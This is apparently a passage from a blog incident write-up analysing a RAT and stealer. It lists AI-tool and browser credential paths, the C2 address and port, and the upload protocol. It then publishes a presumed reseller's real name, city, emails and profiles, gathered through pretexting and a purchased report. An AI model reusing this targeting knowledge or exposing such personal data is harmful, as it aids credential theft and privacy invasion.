except KeyboardInterrupt: log.event("STOP", "Interrupted by user"); return 130
except Exception as exc: log.event("ERROR", f"{type(exc).__name__}: {exc}"); return 1
finally: log.close()
if __name__ == "__main__":
raise SystemExit(main())
从产品名一路追到真实收集路径
第二个模块第一眼就和前一个很不一样。它的任务不是常驻下来等命令,而是塞满了针对具体应用的收集逻辑。顺着这些逻辑继续往下看,而不是只停留在产品名称上,就会看到具体的路径、文件读取、数据库处理、密钥处理和压缩包条目。浏览器是一个主要目标,但收集范围远不止于此:消息应用、Steam、游戏启动器、钱包和浏览器扩展、VPN 与远程访问配置、截图、剪贴板内容、主机信息,以及普通用户文件都在其中。
其中 AI 工具相关分支和我的事件尤其相关,因为事后有多个 AI 产品出现了可疑账号活动。这个 Stealer 针对当前用户 Profile 下的 Claude Code、Codex 和 Gemini 本地数据,都实现了专门的收集器:
%USERPROFILE%\.claude\settings.json
%USERPROFILE%\.codex\auth.json
%USERPROFILE%\.codex\config.toml
%USERPROFILE%\.gemini\oauth_creds.json
%USERPROFILE%\.gemini\google_accounts.json
代码会构造这些路径、检查文件、读取可用内容,然后交给归档逻辑,放到类似 Applications/Ai/Codex/ 和 Applications/Ai/Gemini/ 这样的应用专属目录下。Claude 分支更窄,只针对 settings.json;Codex 和 Gemini 则直接盯上了认证和账号相关文件。换句话说,这个版本并不需要完全依赖浏览器 Cookie,照样可以拿到有价值的 AI 工具状态。这和事件本身的吻合度,比我早期那句很泛化的“可能是浏览器会话”高得多。它说明 AI 开发工具本身已经成了第一类收集目标。
浏览器收集器则沿着熟悉的 Chromium 和 Firefox 痕迹走。Chromium 相关路径包括 Cookies、Login Data、Login Data For Account、Web Data 和 Local State,密钥材料还有单独处理。Firefox 走自己的路径和 NSS 相关处理。数据库和密钥被分开处理这一点很重要。被偷走的 Login Data 数据库,并不自动等于“一份装满明文密码的文件”;但如果同时拿到了匹配的密钥材料,它依然很有价值。同理,被复制的 Cookie 和会话状态,有时甚至比密码更能立刻派上用场。DLL的实现并不完美。一些 SQLite 副本可能漏掉最近仍在 WAL 里的记录,部分 app-bound key 解析相当脆弱,还有几条错误处理路径,让这个 Stealer 的实际可靠性没有它的目标列表看起来那么高。这些弱点主要影响的是完整性,并不会改变一个基本事实:恶意软件知道这些数据在哪里,而且确实在尝试收集。
消息和游戏应用也是同样的模式。Telegram 对桌面端和 Web Session 材料有专门处理;Steam 有 Token 和 Cookie 相关路径;Discord 同时覆盖浏览器和桌面端数据,包括加密 Token 及对应的密钥处理。
MinecraftGrab 分支则盯上了 Intent、Lunar、TLauncher、Feather、Meteor 等启动器和客户端相关的账号配置。真正有意思的目标,不是谁辛辛苦苦搭出来的 Minecraft 城堡,而是启动器周围的账号状态。
钱包和浏览器扩展又是另一大类目标,除此之外还有 VPN 客户端、FileZilla、AnyDesk、Ngrok、OBS 相关数据、截图、剪贴板内容、主机信息,以及对常见文档和图片的一轮通用扫描。模式非常统一:找到位置可预测的本地状态,能拿什么就拿什么,然后全部塞进同一个结果归档。
把这些东西放在一起看,Stealer 这个名字甚至显得有点过于简单。并不存在一个单一动作叫“窃取凭据”;真正发生的是很多更细碎的收集决策:复制数据库、恢复密钥、保留 Session、读取配置文件、截一张图,或者把一份普通文档也顺手加进压缩包。
这个 Stealer 到底是偷什么的
在继续追踪模块把数据发到哪里之前,先停下来看看完整的收集面很有必要。到了这一步,这个 Stealer 已经完全不像“浏览器密码抓取器顺便多几个功能”,而是一个面向可复用访问、本地应用状态,以及感染主机上任何可能值得拿走材料的广泛收集器。
| 领域 | 捕获模块中识别出的例子 | 收集器在找什么 |
|---|---|---|
| AI 开发工具 | Claude Code、Codex、Gemini | 本地设置、认证文件、账号元数据和配置 |
| 浏览器 | Chromium 系 Profile、Firefox | Cookie、登录数据库、Web Data、浏览器状态,以及处理受保护记录所需的密钥材料 |
| 消息与社交应用 | Telegram、Discord | 桌面端和 Web Session、Token 及相关加密材料 |
| 游戏与启动器 | Steam、Minecraft 启动器和客户端、其他游戏平台状态 | Token、Cookie、启动器身份信息和可复用账号配置 |
| 钱包与浏览器扩展 | 桌面钱包、加密货币扩展、MFA 和密码管理器扩展 | 本地可访问的钱包或扩展数据,其中可能包含凭据、密钥或账号访问材料 |
| VPN、远程访问与传输工具 | VPN 客户端、AnyDesk、FileZilla、Ngrok | 可能暴露进入受害者环境另一条路径的配置和连接材料 |
| 用户与主机数据 | 截图、剪贴板内容、文档、图片、OBS 相关数据、系统信息 | 不属于单一应用的上下文、秘密、文件和主机元数据 |
那个熟悉的第三端口
当所有 collector 最终汇聚成一个共享 ZIP 归档后,下一个问题自然就是:这个压缩包会被发到哪里?答案是同一台 C2 主机上的另一条连接:
145.63.134[.]94:1488
Stealer 把这个地址和服务交给 getaddrinfo,建立 TCP 连接,发送受害者标识,等待 auth_ok,然后把 ZIP 作为一个带长度前缀的 Buffer 发出去。线上协议简单得几乎有点让人意外:
connect
→ stealer;<host-id>\n
← auth_ok
→ 8-byte big-endian ZIP length
→ complete ZIP buffer
→ close
它传输的是一个完整结果包,而不是每偷一个文件就发一次单独请求。发送完成后,Stealer 会清理并退出。常驻组件仍然是整个行动里长期存在的那一部分;这个模块则是为一项具体任务而来,收集数据,把结果送回去,然后消失。
到了这里,三个端口已经对应三种非常不同的工作:406 负责控制,408 负责模块投递,1488 负责 Stealer 结果回传。
当一条 OSINT 线索重新出现在恶意软件里
然后,就是这个端口号本身。
1488。
我之前已经花了很大一部分 OSINT 调查,去追那个非常有辨识度的 Handle
gitlerzov1488gitler
现在,同一个数字又出现在 Stealer 自己的上传路径里。一条线索来自公开基础设施和个体调查;另一条来自一个单独捕获到的恶意软件组件。第一次,OSINT 这一侧的东西重新出现在了恶意软件实现本身。这个重合单独拿出来当然还不算证明,但也很难再把它当成又一个纯装饰性的巧合直接丢掉。和此前的域名、邮箱、仓库和 Handle 跳转放在一起,它让调查的两半明显靠得更近了。
Minecraft 这里也出现了一个更小的呼应。公开个人有 Minecraft 相关内容,而 Stealer 又明确收集 Minecraft 启动器和客户端账号状态。Minecraft 本身当然太常见,不可能单凭这一点识别某个人;但在这个上下文里,它又成了公开个人与恶意软件目标选择恰好发生交叉的一个点。
第二轮分析改变了什么
第一轮分析已经完成了当时事件响应真正需要的工作:识别 foothold、持久化、C2,以及 containment 过程中真正重要的主机痕迹。后来的模块捕获,则补上了那块一直让我觉得奇怪的缺失的拼图。
C2 可以按需下发一个 Stealer。Stealer 通过 mutex 逻辑和常驻 loader 建立代码级联系,收集应用和会话数据,把结果打成 ZIP,然后通过自己的独立通道把归档发回去。这套架构也解释了为什么第一个可执行文件看起来是一只能力完整的 RAT,却没有包含我本以为应该能找到的完整信息窃取逻辑。到了这一步,这场事件已经不再像“一个 RAT 顺便偷点东西”。它更像一套模块化工作流:持久访问、tasking、能力投递、数据收集和结果上传,都是可以按需组合的独立部分。
Daniel,你只是个消费者,对吧?
第一部分已经提到了 Steam 后续里最奇怪的一块。一个叫 661SAVAGEEE 的陌生用户被加成了我的好友,还加入了我的家庭共享。我第一次轮换凭据的时候并没有注意到这层关系。后来,这个账号使用了我的 ARC Raiders 访问权限,开挂,然后被封;因为游戏是我的账号拥有的,处罚也一路波及到了我。我的 Embark 显示名还被改成了 661SAVAGE。
清理时,我几乎在其他所有地方都在想着“持久化”这件事:Gmail 权限、受信任设备、OAuth 授权、GitHub PAT 和 SSH Key、活跃 Session、账号恢复方式。Steam 几乎是唯一一个我没有问出同类问题的平台。结果偏偏就栽在这个遗漏上lol
这才是关键,使用这份访问权限的人,并不需要 RAT 继续留在我的工作站上。恶意软件只需要有足够时间,在服务端偷到或者创建某种可复用状态。一旦家庭共享关系已经建立,后续滥用完全可以脱离主机独立继续。
当我第一次看到那个意外出现的 Steam 好友时,我的反应很直接:这会不会就是某个操作者?但这个说法没持续多久。661SAVAGEEE 看起来很新,而且完全可以随手丢掉,正是那种拿着别人游戏权限乱用、用完就烧掉的账号。真正更有价值的线索,是 Embark 名字被改了。使用我账号的人,主动把我的显示名换成了 661SAVAGE。这给了我一个直接来自事件本身、已经确认的 Handle 变体,所以我根本不需要自己猜和手动生成 Handle 变种。而且和 661SAVAGEEE 不同,661SAVAGE 这个 Handle 在互联网上的匹配并不稀少。
Steam 主页 76561198769671376 看起来就是这个个体背后的主账号。它使用 661SAVAGE 这个名字,并且在 8 月 12 日收到了一次游戏封禁,时间和事件发生期非常接近。它的好友列表小得离谱,我查看时只有三个账号,而其中两个,dnovoa1997 和 ITzSavage510.ttv,同样有游戏封禁记录。
值得注意的是,661SAVAGE 和 dnovoa1997 恰好在同一天被封。我很难相信这纯粹只是巧合。不过,即便这个很小的好友圈里几个账号有不少相似之处,我也不会直接认为它们全都是 661SAVAGE 的小号。还有一个简单得多的解释:开挂的人,本来就很可能和其他开挂的人一起玩,啧啧。
更广泛的 661SAVAGE 个体则稳定得多。我在 Steam、直播 Profile 和 TikTok 上都找到了同样的个人品牌,全部指向一个以射击游戏为主的游戏玩家与主播身份。这不是什么特别困难的 OSINT 挑战;一旦拿到这个更短的 Handle,这个个体自己留下的线索其实相当多。
TikTok 主页又补上了一个新发现,显示名是 661SAVAGE,但真正的账号 Handle 是 danieln979。起初,我对 661SAVAGE 的身份设想还比较普通:他大概只是黑号的下游消费者。因此,一次性账号也好,开挂也好,账号用完就丢也好,乃至糟糕的 OPSEC,这些就都说得通了。
然后,我找到了他的商店。这个线索甚至比本文草稿本身还新。在 661savage.store,同一个个人品牌变成了一个商店。其中一个商品页面尤其具体:661savage.store/product.html?id=NFA%20ACCOUNTS
这一下直接改变了对他角色的判断。一个人如果只是收到一个被盗账号,然后拿去开挂,看起来更像消费者;但一个经营商店、销售廉价 ARC Raiders 黑号的人,就明显更靠近同一套网络犯罪经济里的经销层。不管库存里的每一个账号究竟来自哪里,这已经是账号分发与经销,而不是普通消费。而它和我这次事件的重合,甚至具体得有点好笑:
我的主机被感染
↓
我的 Steam 访问被攻陷
↓
661SAVAGEEE 被加入 Family Sharing
↓
ARC Raiders 被滥用并封禁
↓
我的 Embark 名字被改成 661SAVAGE
↓
661SAVAGE 的商店以 $2 出售 ARC Raiders NFA 账号
“消费者”这个假设已经不太说得通了。更合理的角色,是一个小规模转卖者或经销商,也可能他同时会自己使用或测试正在出售的同类库存。在这种规模下,“消费者”和“卖家”根本不必是两拨人。一个小操作者完全可以身兼两职。
The storefront made the persona more interesting, so I went back through the social traces with a different question. I was no longer asking only who uses the name 661SAVAGE? I wanted to know whether the handle leaked anything more personal.
It did. I found two TikTok accounts using the same nickname and avatar pattern:
661SAVAGE → @danieln979
661SAVAGE → @danielnovoa82
The second handle, danielnovoa82, was especially useful because it exposed a surname-shaped token: Novoa.
Then I compared the two TikTok handles with one account from 661SAVAGE's tiny Steam friend list:
Tiktok Handle: danieln979
Tiktok Handle: danielnovoa82
Steam Profile: dnovoa1997
Now the repetition was difficult to miss. dnovoa1997 was not a random result from username enumeration; it was directly connected to the 661SAVAGE Steam profile as one of only three friends. Piecing those handles together produced an obvious identity lead:
Daniel Novoa.
I pretended to be a buyer interested in his store and joined his Discord server. That gave me a chance to inspect his Discord profile card, which revealed additional information and helped cross-check several of my earlier assumptions.
The detailed Discord profile card disclosed two additional profiles: his PSN profile and a Steam username, danielnovoa440848.
That made Daniel Novoa a much more plausible candidate for his real name. More importantly, danielnovoa440848 mapped directly back to the same Steam account using the 661SAVAGE persona.
The 661SAVAGE handle itself offered one more clue. 661 is a California area code, and the 661SAVAGE Steam profile also listed its location as California. Either field could have been fake, but by this point the persona had already shown a consistent pattern of poor privacy awareness and weak OPSEC. He was even arrogant enough to replace my Embark display name with his own universal handle. From an OPSEC perspective, that was almost comically bad.
The same pattern appeared elsewhere. He reused avatars and names across multiple services, while the storefront operated under the same branding. Taken together, the persona was not exactly difficult to follow once I knew what to look for.
Searching the emerging Daniel Novoa + California + 661 combination produced a very close public-record candidate in the Bakersfield area. The location fit the 661 region, and the age fit the 1997 clue from dnovoa1997. A cached search result still showed the person as 28 while the current record showed 29, suggesting a recent birthday as well.
Eventually, I purchased the report, and more info revealed, which confirmed my theory:
Bomb, all is clear, especially the email dnovoa1997@gmail.com and danielnovoa440848@gmail.com, are consistent with 2 of his Steam account! And the mobile number is associated with Steam account 661savageeeeeeeeeee.
Consumer, Dealer, Or Both?
The store changed the most important conclusion. When I began this branch, I thought I was looking at somebody near the very end of the chain: a cheater who had somehow obtained my Steam access and happily burned it.
Later, he sent me a friend request and asked whether I needed NFA. I immediately realized that this was an opportunity I could not afford to miss. I happily replied, and then he simply sent me an executable file!
I have to admit, my hands were shaking a little. I downloaded the sample, submitted it to VirusTotal, and immediately started analyzing it myself. The result gave me mixed feelings. It was not another RAT or backdoor, and it did not turn out to be the original infostealer either. Instead, the executable was essentially a Steam token import and login-cache tool. It accepted externally supplied Steam access credentials, parsed the token and SteamID, stopped Steam, wrote the corresponding local login state, and then launched Steam again. In practice, it allowed supplied Steam sessions to be imported and reused on another machine.
So it was not quite the jackpot I had briefly hoped for. But in another sense, it was more useful than expected.
Before this, I had been inferring his role mostly from storefront behavior, reused identities, gaming accounts, and the way my own Steam access had been abused. Now he had personally handed me a tool built around consuming and reusing Steam access. That moved him from “probably a downstream reseller or account dealer” to someone I could much more confidently place inside that part of the economy.
He still appeared to be downstream from the technical core of the malware operation. I had no direct bridge tying him to the GitHub infrastructure, C2 servers, domain registrations, or malware development. But by this point, “downstream” clearly did not mean “uninvolved.”
The original operators did not need to personally log into every account they stole. Once credentials, tokens, and authenticated sessions became inventory, other people could package them, resell them, import them, test them, cheat with them, or simply burn them for a few dollars at a time. And now I had been handed one of the tools that made that possible.
Threat Modeling Their Infrastructure and Operations
By this point, the incident was no longer about a single compromise. The picture had become much larger.
I had started with one malicious GitHub repository and one compromised workstation. The trail had expanded into fake social proof, recurring promotion accounts, disposable repository fronts, staging infrastructure, a persistent RAT, an on-demand Stealer, stolen authentication material, and finally a downstream market where gaming accounts could be treated as cheap inventory.
With a much broader understanding of the cybercrime group's infrastructure and operations, I could not help thinking about the whole thing from a threat-modeling perspective. I did not need to hack back. There was already plenty I could do within legitimate boundaries to cause them trouble, disrupt parts of their operation, and make their lives more difficult.
They Can Be Victims Too
The synthetic victim had already revealed something interesting about the control plane: it trusted a fair amount of client-supplied identity and host information. Somewhere on the operator side, at least some of those values had to be stored, searched, or displayed. Naturally, that made me wonder how much they trusted their victims.
If this were an authorized assessment, one of my first questions would be what happened when attacker-controlled content crossed that boundary and eventually reached the operator interface. Hostnames, usernames, process information, task results, and other victim metadata may look harmless when they come from a normal infected machine. From a red-team perspective, however, every field supplied by an untrusted client is an input surface.
The tasking protocol raised similar questions. Victim identifiers and task identifiers were ordinary application objects, which immediately made authorization and cross-client isolation interesting. Could one client reference objects belonging to another? How strongly was ownership enforced? Were those identifiers treated as secrets, or merely as database keys?
Then there was the Stealer upload path. Port 1488 accepted an archive created by a completely untrusted endpoint and passed it into whatever storage and processing pipeline existed behind the service. Archive parsing, decompression, file naming, storage quotas, and later operator-side handling all introduced additional trust boundaries. If I were assessing this environment with authorization, that entire pipeline would deserve attention.
The operator interface itself could be even more interesting. For example, Electron is quite popular for desktop management clients, including offensive-security tooling and C2 front ends. Unlike a normal browser, an Electron application can potentially expose privileged desktop functionality to its renderer. Under a poorly designed one, an injection issue may become much more serious—especially if privileged APIs, unsafe preload bridges, or Node.js capabilities are exposed to the renderer. In the worst case, what begins as malicious victim-controlled text being rendered inside a management console could become code execution on the operator's own workstation. That would be an ironic way for a C2 infrastructure to collapse: not because somebody attacked the implant, but because the implant sent something back that the operator's own interface trusted too much.
The public infrastructure added another layer. The staging and C2 servers exposed a surprisingly verbose collection of Internet-facing services. They were useful for fingerprinting, and every unnecessary service also represented another piece of software, configuration, and authentication surface that could go wrong.
Attackers are not exempt from having an attack surface.
The uneven code quality reinforced that impression. The native loader was substantially more polished than parts of the PowerShell staging logic. The Stealer combined carefully implemented collectors with brittle parsing and network assumptions. The GitHub operation demonstrated scale, but also automation patterns and weak OPSEC. It did not look like one perfectly engineered platform. It looked more like a collection of components, operators, and infrastructure of varying quality—which is probably a much more realistic picture of a cybercrime operation anyway.
Once I stopped viewing the operation as a single piece of malware and started viewing it as a system, its own trust boundaries became much easier to see.
| Area | Potential Attack Surface | Methodology | Possible Impacts |
|---|---|---|---|
| Victim metadata | Client-supplied hostnames, usernames, and other fields | Input handling, output encoding, storage, and rendering inside the operator interface | Stored injection or compromise of the management interface |
| Electron-based operator client | Potentially privileged desktop renderer | Isolation between untrusted content and privileged Electron/Node functionality | XSS escalating far beyond an ordinary browser issue, potentially to operator-side code execution |
| Tasking API | Victim IDs and task IDs used as application objects | Object ownership, authorization boundaries, and cross-client isolation | Access to or manipulation of another victim's tasks |
| Stealer upload | Hostile endpoints upload archives to port 1488 | Archive parsing, file handling, decompression, naming, quotas, and downstream processing | Parser failures, unsafe file handling, resource exhaustion, or compromise of backend processing |
| Internet-facing services | Multiple exposed services across the infrastructure | Authentication, patch level, unnecessary exposure, and configuration quality | Additional entry points into their own servers |
| GitHub operation | Repeated naming, promotion, fork, and repository patterns | Infrastructure mapping and account clustering | Faster identification and large-scale platform takedowns |
| Domains and hosting | Reused infrastructure and operational relationships | Provider attribution, abuse reporting, and infrastructure correlation | Domain suspension, hosting disruption, and loss of reusable infrastructure |
| Downstream account market | Public storefronts, Discord communities, and reused identities | Evidence preservation and reporting to affected platforms | Removal of sales channels and increased cost of monetizing stolen access |
| Operational OPSEC | Reused handles, avatars, infrastructure, and naming conventions | Correlation across otherwise separate parts of the operation | Attribution of infrastructure and personas that were intended to remain separated |
Not all of these paths require exploitation to hurt an operation. In some cases, the most effective response is much more boring: preserve the evidence, correlate the infrastructure, report the accounts, notify the providers, publish the indicators, and make every disposable asset they created more expensive to replace.
Making the Disposable Parts Less Disposable
Threat modeling their infrastructure was interesting, and under an authorized assessment there were plenty of places I would have wanted to look. But in the real world, the most useful counteroffensive available to me was much less cinematic than finding an RCE in the attacker's panel. I could preserve the relationships they had left behind.
A single malicious repository URL is disposable. Delete the repository and the link becomes a 404. But the repository itself had relationships: accounts that starred it, forks that preserved its history, other repositories promoted by the same cohort, repeated construction patterns, domains, infrastructure, and eventually malware tied back to the same operation. Deleting one page does not erase the graph around it. That changed how I thought about abuse reporting. Instead of reporting one obviously malicious repository and waiting for it to disappear, I could provide the surrounding cluster: repository relationships, account relationships, commit history, repeated lure patterns, infrastructure, and multiple branches that independently led back to confirmed malicious behavior.
The same principle applied downstream. A disposable Steam account such as 661SAVAGEEE was not particularly interesting by itself. But that account led to the persistent 661SAVAGE persona, then to a storefront selling NFA accounts, a Discord community, reused gaming identities, real-world identity evidence, and eventually a Steam access tool handed to me directly by the reseller himself. What initially looked like one cheater happily burning somebody else's game access had turned into a view of part of the resale economy behind stolen authentication material.
Preserve the evidence, connect the relationships, expose the infrastructure, report the clusters rather than isolated artifacts. Make the disposable parts of the operation less disposable.
From One Repository To An Ecosystem
By the end, the path I had followed looked roughly like this:
Malicious GitHub lure
↓
promotion / fork / boosting network
↓
staging infrastructure
↓
persistent RAT and tasking
↓
on-demand Stealer module
↓
credentials, sessions, application state
↓
downstream account access
↓
reseller / storefront
↓
access import and reuse
↓
end use, abuse, and bans
What started as one malicious GitHub repository had expanded into a much broader picture: disposable identities, promotion infrastructure, staging servers, malware components, stolen authentication material, resale channels, and finally tooling used to consume that access. Part One was mostly about getting the attacker off my machine.
Part Two was about following everything that remained after that. The repository became a network. The infrastructure became a cluster. The RAT became part of a modular system. The missing theft capability eventually appeared as a separate Stealer. The account abuse led to 661SAVAGE, then to a storefront, Discord community, reused identities, and finally a Steam access tool handed to me directly. That last sample was especially useful. It was not another RAT or the original infostealer, but it provided a much more concrete look at the downstream side of the ecosystem: stolen or externally supplied Steam access being imported and reused as a product. By that point, the incident no longer looked like one attacker compromising one workstation. It looked like a chain of loosely connected components and people, each responsible for a different part of the process.
I still do not have every person, every server, or every transaction in that chain. But I no longer needed every missing piece to understand what I had been dealing with. I started with one compromised workstation and one malicious GitHub repository. I ended up mapping parts of an ecosystem. I would still rather have learned all of this from somebody else's case study, but if the incident was going to happen anyway, I wanted the evidence to outlive the embarrassment.
Reference
Previous Threat Intelligence:
https://forum.kasperskyclub.ru/topic/472004-virus-updaterexe
https://phishdestroy.io/domain/verificator.cc/
https://gridinsoft.com/online-virus-scanner/url/verificator-cc
https://phishdestroy.io/domain/genesis-hub.cc/
https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc
https://www.shodan.io/host/192.162.199.184
https://www.shodan.io/host/145.63.134.94
https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain-risk/
https://steamcommunity.com/profiles/76561198769671376
https://steamcommunity.com/profiles/76561198665194900
https://psnprofiles.com/trophies/24888-ark-survival-ascended/TTV-661SAVAGE
https://www.tiktok.com/@danieln979
https://www.tiktok.com/@danielnovoa82
https://www.twitch.tv/661savage
https://www.spokeo.com/Daniel-Novoa/California/Bakersfield/p7770855703706138216526571
https://www.tiktok.com/@gitlerzov1488
Alive Repositories At the Time of Writing
https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download
https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro
https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate






























































